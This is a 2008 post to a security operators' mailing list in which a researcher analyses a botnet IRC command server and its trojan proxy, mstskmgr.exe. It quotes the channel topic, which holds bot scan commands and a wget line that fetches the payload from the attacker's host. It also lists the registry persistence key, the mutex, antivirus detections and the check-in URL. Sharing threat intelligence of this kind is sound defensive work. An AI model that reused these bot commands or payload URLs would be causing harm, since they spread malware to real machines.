[nsp-sec] history on irc.intelligence-tech.com

Stephen Gill gillsr at cymru.com
Mon Feb 25 16:25:19 EST 2008


# telnet irc.intelligence-tech.com 21958
Trying 8.14.145.68...
Connected to irc.intelligence-tech.com.
Escape character is '^]'.
NICK b
USER b b b :b
:IntTech 001 a :MySQL  <...>
:IntTech 376 a :
:a MODE a :+i
JOIN #hobo nutsack 
:<...> JOIN :#hobo
:IntTech 332 a #hobo :.asc -S -s|.else status scan .asc asn 50 5 0 _b _r
_h|.if nick *USA* .wkse 50 5 0 _b _r _h|.else nick *USA* .wkso 50 5 0 _b _r
_h|.r.wget http://8.14.145.115/~inttech/mstskmgr.exe c:\mstskmgr.exe h
:IntTech 333 a #hobo 10:30 PM 1200102639
:IntTech 366 a #hobo :End of /NAMES list.

Brief history on that file:

2008-01-08 12:50:01     mstskmgr.exe.aug3.0017
2007-01-04 00:51:05     http://www.naturalgardening.net/mstskmgr.exe
2007-02-01 11:01:13     129517.mstskmgr.exe
2007-02-10 07:42:52     730a87979a5aa825c5b5f547e1e7d014.exe
2007-02-14 13:46:04     mstskmgr.exe
2007-02-26 13:31:08     mstskmgr.exe
2007-04-02 18:01:02     none
2007-06-06 21:23:48     4f1582d388f19cfab7042f97e94170bcfcd4913c
2007-07-12 21:31:15     mstskmgr.exe
2007-07-15 02:16:08     730a87979a5aa825c5b5f547e1e7d014.EX$
2007-07-24 04:11:52     730a87979a5aa825c5b5f547e1e7d014.EX$
2007-07-29 04:36:17     http://www.intelligence-tech.com/mstskmgr.exe
2007-08-22 11:41:32     http://www.intelligence-tech.com/mstskmgr.exe
2007-11-06 02:37:17     http://8.14.145.115/~inttech/mstskmgr.exe
2006-11-18 20:16:04     mstskmgr.exe

dnsrr      count      dnsrr first seen
www.intelligence-tech.com     8     2007-01-09 12:39:43
www.int-tech.info     7     2007-01-09 12:39:43

Adds:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run "MS Task
Manager 32" = C:\WINDOWS\System32\mstskmgr.exe

Mutex:

MSTSKMGR32

Since it has been around the block AV rate is pretty good:

AV engine      Country      Signature
Ahnlab     KR     Win-Trojan/Ranky.20480.F
Aladdin (esafe)     IL     Win32.Ranky.de
Alwil (avast)     CZ     Win32:Ranky-ED [Trj]
Arcabit (arcavir)     PL     Trojan.Proxy.Ranky.De
Authentium     US     W32/Proxy.gen1
Avira (antivir)     DE     TR/Crypt.ULPM.Gen
BitDefender     RO     Trojan.Proxy.Ranky.E
CA (E-Trust Vet)     US     Win32/Ranck!generic
CAT (quickheal)     IN     TrojanProxy.Ranky.de
Central Command (vexira)     US     Trojan.PR.Ranky.FP
ClamAV         no_virus
CPsecure     US     no_virus
Cybersoft (vfind)     US     no_virus
Dr. Web     RU     Trojan.Proxy.1707
Eset (nod32)     US     Win32/TrojanProxy.Ranky
Fortinet     US     W32/Ranky.DE!tr
Frisk (f-prot)     IS     W32/Proxy.gen1
F-Secure     FI     Trojan-Proxy.Win32.Ranky.de
Grisoft (avg)     CZ     Proxy.IAX
Hauri (virobot)     KR     no_virus
Ikarus     AT     Trojan-Proxy.Win32.Ranky.DE
Kaspersky     RU     Trojan-Proxy.Win32.Ranky.de
Mcafee     US     Proxy-FBSR.gen
MicroWorld (escan)     IN     Trojan-Proxy.Win32.Ranky.de
Norman     NO     W32/Rank.AHV
Panda     ES     Trj/Ranky.QL
Rising     CN     Trojan.Proxy.Ranky.ayw
Securecomputing (webwasher)     US     Trojan.Crypt.ULPM.Gen
Sophos     GB     Troj/Ranky-AU
Symantec     US     Backdoor.Ranky
TheHacker     PE     Trojan/Proxy.Ranky.de
Trend Micro     JP     TROJ_RANKY.NF
VirusBlokAda (vba32)     BY     Trojan-Proxy.Win32.Ranky.de
VirusBuster     HU     Trojan.PR.Ranky.FP

Proxy checks in to:

http://www.int-tech.info/main.php?p=21164 -> the port it chose to listen to

Cheers,
Steve, Team Cymru.

On 2/25/08 1:41 PM, "Jason Chambers" <jchambers at ucla.edu> wrote:

> ----------- nsp-security Confidential --------
> 
> Hello all,
> 
> I've noticed in our recent infections that 8.14.145.68 is involved with
> a few.  Looking back at some past data, I see this botnet as far back as
> 2007-03-04.
> 
> Anyone have any more information on this one ?
> 
> 3356  | LEVEL3 Level 3 Communications  | 8.14.145.68     | tcp  | 25394
> | 2008-02-03 10:22:45 | 2008-02-11 10:22:45 | bot | 0 | 0 | ID: Int
> Tech DNSRR: irc.intelligence-tech.com PORTS: 21958
> 
> 3356  | LEVEL3 Level 3 Communications  | 8.14.145.68     | tcp  | 25394
> | 2007-03-04 09:49:52 | 2007-03-12 09:49:52 | bot | 0 | 0 | ID: Int
> Tech DNSRR: irc.intelligence-tech.com PORTS: 21958_6667
> 
> 
> Thanks,

-- 
Stephen Gill, Chief Scientist, Team Cymru
http://www.cymru.com | +1 312 924 4023 | gillsr at cymru.com





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